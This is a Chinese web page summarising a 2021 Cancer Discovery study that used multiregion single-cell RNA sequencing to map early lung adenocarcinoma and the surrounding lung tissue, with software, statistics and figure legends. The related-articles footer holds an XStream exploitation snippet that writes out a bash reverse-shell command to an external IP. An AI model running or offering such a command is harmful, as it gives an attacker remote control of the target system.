IF 33.3+ 通过多区域单细胞测序解析肺腺癌的空间和细胞结构



通过多区域单细胞测序解析肺腺癌的空间和细胞结构

摘要

对于肺腺癌演进过程中单个细胞群的地理空间架构知之甚少。在此,我们对来自5例早期LUAD和14个来自肿瘤的具有明确空间邻近性的多区域正常肺组织的186,916个细胞进行了单细胞RNA测序。我们发现细胞谱系、状态和转录组特征在正常区域到LUAD的地理空间上发生了演变。LUAD还表现出单个部位内显著的肿瘤内细胞异质性以及转录谱系可塑性程序。与肿瘤邻近的正常组织中调节性T细胞表型增加,而细胞毒性CD8+T细胞、抗原呈递巨噬细胞和炎症树突状细胞的特征和比例则减少。我们还发现LUAD配体-受体相互作用组中上皮CD24的表达增加,其介导了促肿瘤表型。这些数据提供了LUAD演进的空间图谱,并为识别其治疗靶点提供了资源。

数据收集

LUAD patient

软件使用

软件包信息

软件名称

版本

类型

应用领域

官方链接

NovaSeq 6000

-

测序平台

高通量测序

illumina.com

10X Genomics

-

单细胞平台

单细胞测序

10xgenomics.com

Seurat

-

R包

单细胞分析

satijalab.org/seurat

Seurat v3

-

R包

单细胞分析

satijalab.org/seurat

Harmony

-

R包

批次校正

github.com

Monocle 2

2.10.1

R包

拟时序分析

bioconductor.org

平台与工具关系

graph LR
A[NovaSeq 6000] -->|生成数据| B[10X Genomics]
B -->|CellRanger处理| C[Seurat]
C -->|整合分析| D[Harmony]
C -->|轨迹分析| E[Monocle 2]

统计方法信息

参数检验

非配对Student's t检验 (Unpaired Student's t-test)

  • 核心假设

    • 正态性(Shapiro-Wilk检验p>0.05)

    • 方差齐性(Levene检验p>0.05)

    • 观测独立性

  • R语言实现

    # 标准t检验(方差齐)
    t.test(value ~ group, data, var.equal = TRUE)# Welch校正(方差不齐)
    t.test(value ~ group, data, var.equal = FALSE)

实验验证方法

多区域样本采集与处理

目的

解析肺腺癌瘤内异质性和微环境特征

实验设计

  • 样本类型

    • 肿瘤核心区(≥3个解剖位置)

    • 肿瘤-正常交界区

    • 远端正常肺组织(距肿瘤>5cm)

  • 采样规范

    graph TDA[手术切除] --> B(30分钟内处理)B --> C{分区取样}C --> D[肿瘤中心]C --> E[浸润边缘]C --> F[远端正常]

研究成果

通过多区域单细胞RNA测序剖析早期肺腺癌及周围肺部生态系统

A 展示了针对5个肺腺癌样本和14个具有明确空间定位的正常肺组织,采用多区域采样策略进行单细胞RNA测序分析的流程图。

B 来自患者一的肿瘤样本、邻近正常样本和远端正常样本的细胞的均匀流形逼近与投影嵌入图。

C 每个空间样本中细胞的绝对数量组成和相对比例分别来自P1。

D 来自所有5名患者的细胞的UMAP视图,包括P2-P5中的EPCAM+和EPCAM-前富集细胞。

E 基于空间样本的细胞类型及其比例的UMAP视图。

F 显示基于使用转录组特征计算的欧几里得距离的空间样本中细胞之间层次关系的树状图。

G 与图D中相同的UMAP,还包括淋巴细胞和髓细胞的进一步分层。

H-I 折线图展示了所有患者总体以及按患者划分的各空间样本中EPCAM阴性子集的相对比例变化情况。

早期肺腺癌空间生态系统中的上皮细胞谱系多样性及肿瘤内异质性

A、所有EPCAM+细胞的UMAP图形展示。

B、EPCAM+细胞簇的主要谱系标记基因热图,同时附有相应的条形图,用于说明不同空间样本中的比例情况。

C、显示不同空间样本中EPCAM+子集比例变化的面积图。

D、基于计算的欧几里得距离使用转录组特征对空间样本中的3个代表性上皮细胞子集之间的层次关系进行展示,以及相应量化空间样本之间相似度水平的热图。

E、恶性富集簇C9中细胞的UMAP图形,按其对应的患者来源、空间样本和CNV分数进行着色。

F、携带KRAS G12D突变的细胞比例,数字表示绝对细胞数量,以及表达水平。

G、通过使用NK细胞作为对照,对来自患者P3和P5肿瘤样本的CNV路径图进行无监督聚类分析

H、通过Monocle 3分析推断出P3和P5中EPCAM+细胞的潜在发育轨迹。

早期肺腺癌中淋巴细胞亚群向肿瘤相关表型的时空重编程

A、对P1-P5时期淋巴细胞亚群进行的UMAP可视化处理,按细胞谱系和空间样本进行着色。

B、气泡图展示谱系标志物的表达情况。

C、在LUAD和空间正常样本中淋巴细胞谱系及细胞状态的变化情况。

D、对CD8+T淋巴细胞进行UMAP可视化处理,按细胞状态、空间样本和细胞毒性评分进行着色

E、在肺癌组织微环境中清除CD8+GNLY高表达的CTL细胞。

F、CD4 T淋巴细胞的UMAP图。

G、在LUAD的肿瘤微环境中CD4+T调节细胞的富集情况。

早期肺癌组织微环境中抗原呈递和炎症性树突状细胞的特征显著减少

A 早期LUADA微环境中抗原呈递和炎症树突细胞的特征减少,髓系细胞谱系的UMAP可视化图以及空间样本。

B 图展示髓系细胞表达谱系特异性标记基因的百分比以及它们的缩放表达水平)。

C 图显示LUAD及空间正常肺样本中髓系细胞亚群的丰度变化。

D 图是单核细胞和巨噬细胞亚群的UMAP图,按细胞类型/状态、空间样本和抗原呈递评分进行颜色编码。

E 图显示空间样本中表达抗原呈递基因的M2型巨噬细胞簇1的百分比及其缩放表达水平。

F 图是脊线图。在M2型巨噬细胞簇1中以及在LUAD样本和空间正常肺样本中,MHC类I和MHC类 II基因表达密度的分布情况如下。

G 箱线图展示了所有患者以及患者内部在LUAD和空间正常肺样本中M2型巨噬细胞的抗原呈递评分。

H 树突状细胞的UMAP图,根据细胞状态进行颜色编码和空间样本。

I UMAP图显示cDC2细胞的无监督子聚类,根据簇ID进行着色、空间样本以及计算出的炎症特征评分。

J 显示cDC2细胞亚群标记基因的标准化表达的热图。

K 气泡图显示表达炎症和非炎症特征基因的cDC2细胞的百分比以及其缩放表达水平。

L 显示了细胞中炎症特征评分在来自cDC2集群C2的TME中的表达情况的维尼图图示。

M 展示了cDC2 C2细胞在总cDC2细胞中的比例以及在LUAD和空间正常肺组织中的分布情况的箱线图。

N 展示了正常肺、癌前不典型腺瘤样增生以及来自独立队列的LUAD中的炎症特征评分

增强的配体-受体细胞-细胞间通讯网络在肺腺癌细胞与其免疫微环境之间

A. 利用iTALK进行细胞间通讯的计算分析工作流程。

B. 热图显示了基于预测的配体-受体相互作用在个体LUAD与相应空间分布的正常肺组织之间的重叠情况。

C-F. 代表性的环形图展示了患者2、3、4和5的免疫检查点介导的L-R对之间的详细比较。

G-H. 条形图显示了涉及免疫检查点的配体和受体基因的表达。

与肺腺癌中CD24增多相关的促肿瘤表型

A、箱线图展示在一组独立的正常肺组织、癌前不典型腺瘤样增生以及肺腺癌样本中CD24表达水平的情况

B、使用皮尔逊相关系数绘制的散点图,展示NL、AAH和LUAD样本中CD24与EPCAM和PRF1的水平关系。

C、箱线图描绘了TCGA LUAD队列中LUAD和匹配的正常肺组织中CD24表达水平

D、使用皮尔逊相关系数展示CD24与EPCAM或PRF1表达之间的相关性散点图。

E、通过靶向免疫分析对早期LUAD患者进行分析,并根据中位CD24 mRNA表达进行二分

F、散点图展示使用皮尔逊相关系数展示CD24与EPCAM、PRF1或细胞毒性评分在MDACC队列中的表达相关性。

G、显示相对较高和较低免疫组化CD24染色的代表性图像。

H、体内MDA-F471细胞的生长情况

Reference

Sinjab A, et al. Resolving the Spatial and Cellular Architecture of Lung Adenocarcinoma by Multiregion Single-Cell Sequencing. Cancer Discov. 2021 Oct;11(10):2506-2523. doi: 10.1158/2159-8290.CD-20-1285. Epub 2021 May 10. PMID: 33972311; PMCID: PMC8487926.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95214.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95214.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Redis的安装与配置】

一:下载 Redis ✅ 百度网盘分享 👉 https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ✅ 从Github下载 👉 https://github.com/MicrosoftArchive/redis/releases 二:安装 Redis 1️⃣ 将下载的压缩包文件 解压到 某个文…

TDSQL GTS文件说明

基于时间点恢复:全备xlogGTS文件 在TDSQL的备份恢复体系中,GTS文件是全局时间戳(Global Timestamp)的存储载体,用于记录事务在分布式环境中的精确执行顺序和时间点 其核心作用体现在以下方面: 1‌。时间基准…

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析 全星研发项目管理APQP软件系统是专为汽车零部件行业打造的数字化研发管理平台,通过深度集成行业核心工具链,实现从产品设计到量产的全程可控。以下为该系统在汽车零部件行业的应用解析&#xf…

网络通信安全:HTTPS协议的密码学基石

引言:从HTTP到HTTPS的安全升级 在网络通信中,数据传输的安全性至关重要。早期的HTTP协议采用明文传输,存在三大安全隐患: 机密性问题:数据在传输过程中可能被窃听(如公共Wi-Fi中的监听)&#xf…

pip 和 conda,到底用哪个安装?

为什么 pip 有时装不下来而 --prefer-binary 可以?什么是源代码发行版?什么是轮子?conda 和 pip 有什么区别?优先用谁啊?两者适合的场景(何时用哪个)安装路径:pip / conda 分别装到哪…

bert学习

首先了解一下几种embedding。比如elmo就是一个embedding模型。one-hot编码只能实现one word one embedding,而我们的elmo能实现one token one embeddingElmo是基于双向LSTM,所以每个词其实会有正向和反向两个预测结果,那么我们用哪个呢&#…

Java安全-组件安全

一、Xstream启动环境并访问接下来我们构造反弹shell语句,bash -i >& /dev/tcp/8.152.2.86/9999 0>&1,紧接着对其进行base64编码。接下来使用命令即可首先开启监听接下来执行命令接下来抓包对其进行payload构造即可紧接着回去查看回显发现成…

【10】微网优联——微网优联 嵌入式技术一面,校招,面试问答记录

微网优联——微网优联 嵌入式技术一面,校招,问答记录 1. 2 分钟简单自自我介绍2. 问一遍笔试题目3. IP地址在哪个层4.手动配置过IP地址吗?要配哪几个?5. ARP 是域名找IP地址还是IP地址找域名?6. Linux、计算机网络、操作系统掌握的怎么样&a…

C#使用EPPlus读写Excel

依赖EPPlus 获取依赖可以阅读:Nuget For Unity插件介绍_nugetforunity-CSDN博客 可以参阅该篇快速入门:在Unity中使用Epplus写Excel_unity epplus-CSDN博客 下面是我封装的几个方法: 要在合适的时机配置许可证,比如你的工具类的静态函数.建议使用版本7.7.1 #region Excel封装,…

高性能Web服务器

一、Web服务基础介绍 1.1、互联网发展历程 1993年3月2日,中国科学院高能物理研究所租用AT&T公司的国际卫星信道建立的接入美国SLAC国家实验室的64K专线正式开通,成为我国连入Internet的第一根专线。 1995年马云开始创业并推出了一个web网站中国黄…

《算法导论》第 16 章 - 贪心算法

大家好!今天我们来深入探讨《算法导论》第 16 章的核心内容 —— 贪心算法。贪心算法是一种在每一步选择中都采取在当前状态下最好或最优(即最有利)的选择,从而希望导致结果是全局最好或最优的算法。它在许多优化问题中都有广泛应…

Redis面试精讲 Day 18:Redis网络优化与连接管理

【Redis面试精讲 Day 18】Redis网络优化与连接管理 开篇 欢迎来到"Redis面试精讲"系列第18天,今天我们将深入探讨Redis网络优化与连接管理技术。在分布式系统中,Redis的网络性能和连接管理直接影响整个系统的响应速度和稳定性。掌握这些优化…

Centos8系统在安装Git包时,报错:“没有任何匹配: git”

报错类型: sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide缓存策略和缓存命中

一 缓存策略 1 Glide 的 diskCacheStrategy() 一共有 5 种枚举值(DiskCacheStrategy),每种的作用和区别如下:1. DiskCacheStrategy.ALL 作用:同时缓存原始图片(原图数据)和经过变换(…

如何将PDF文档进行高效编辑处理!

PDF文件可以在任何设备上以相同的格式查看,无论操作系统或软件环境如何,可以确保修改后的文档仍然保持原有的布局和格式。它完全免费,下载后双击即可运行,无需安装,使用非常方便。它具备出色的文本编辑功能&#xff0c…

应用层模拟面试题

模拟面试-C第一题(开发音视频处理模块)在开发音视频处理模块时,FFmpeg资源(AVFrame*)需要自动释放。如何用unique_ptr定制删除器替代手动av_frame_free()?写出代码并解释RAII优势。参考答案:auto frame_deleter[](AVFr…

分享一款基于STC8H8K32U-45I-LQFP48单片机的4路数字量输入输出模块

4路数字量输入输出模块产品说明产品特性输入部分: 4路光耦隔离数字量输入通道支持NPN和PNP两种输入方式,可通过拨码开关切换输入电压范围:10-30VDC典型应用:可连接按钮开关、接近开关、光电传感器等数字信号设备输出部分&#xff…

redis常见的性能问题

Redis 的性能问题通常源于配置不当、数据结构误用、资源瓶颈或架构缺陷。以下是 Redis 常见的性能问题及优化方案,结合线上经验整理:🧠 ​一、内存相关问题​​1. 内存不足(OOM)​​​现象​:OOM errors、响…

Blender 基础操作

基础操作 一、视角控制 ①旋转视角 : 拖动鼠标中键 ②平移视角 : shift 鼠标中键 ③放大\缩小 :鼠标滚轮 二、物体控制 1、重要 ① 移动物体 : G ② 旋转物体 : R ③ 缩放物体 : S 2、不重要 ④ 新建物体 : shift A ⑤ 复制物体 : shift D…

Go 语言三大核心数据结构深度解析:数组、切片(Slice)与映射(Map)

🚀Go 语言三大核心数据结构深度解析:数组、切片(Slice)与映射(Map) 在 Go 语言的开发领域,数组、切片与映射 这三大核心数据结构犹如构建程序的基石,支撑着各类数据的存储与处理。它…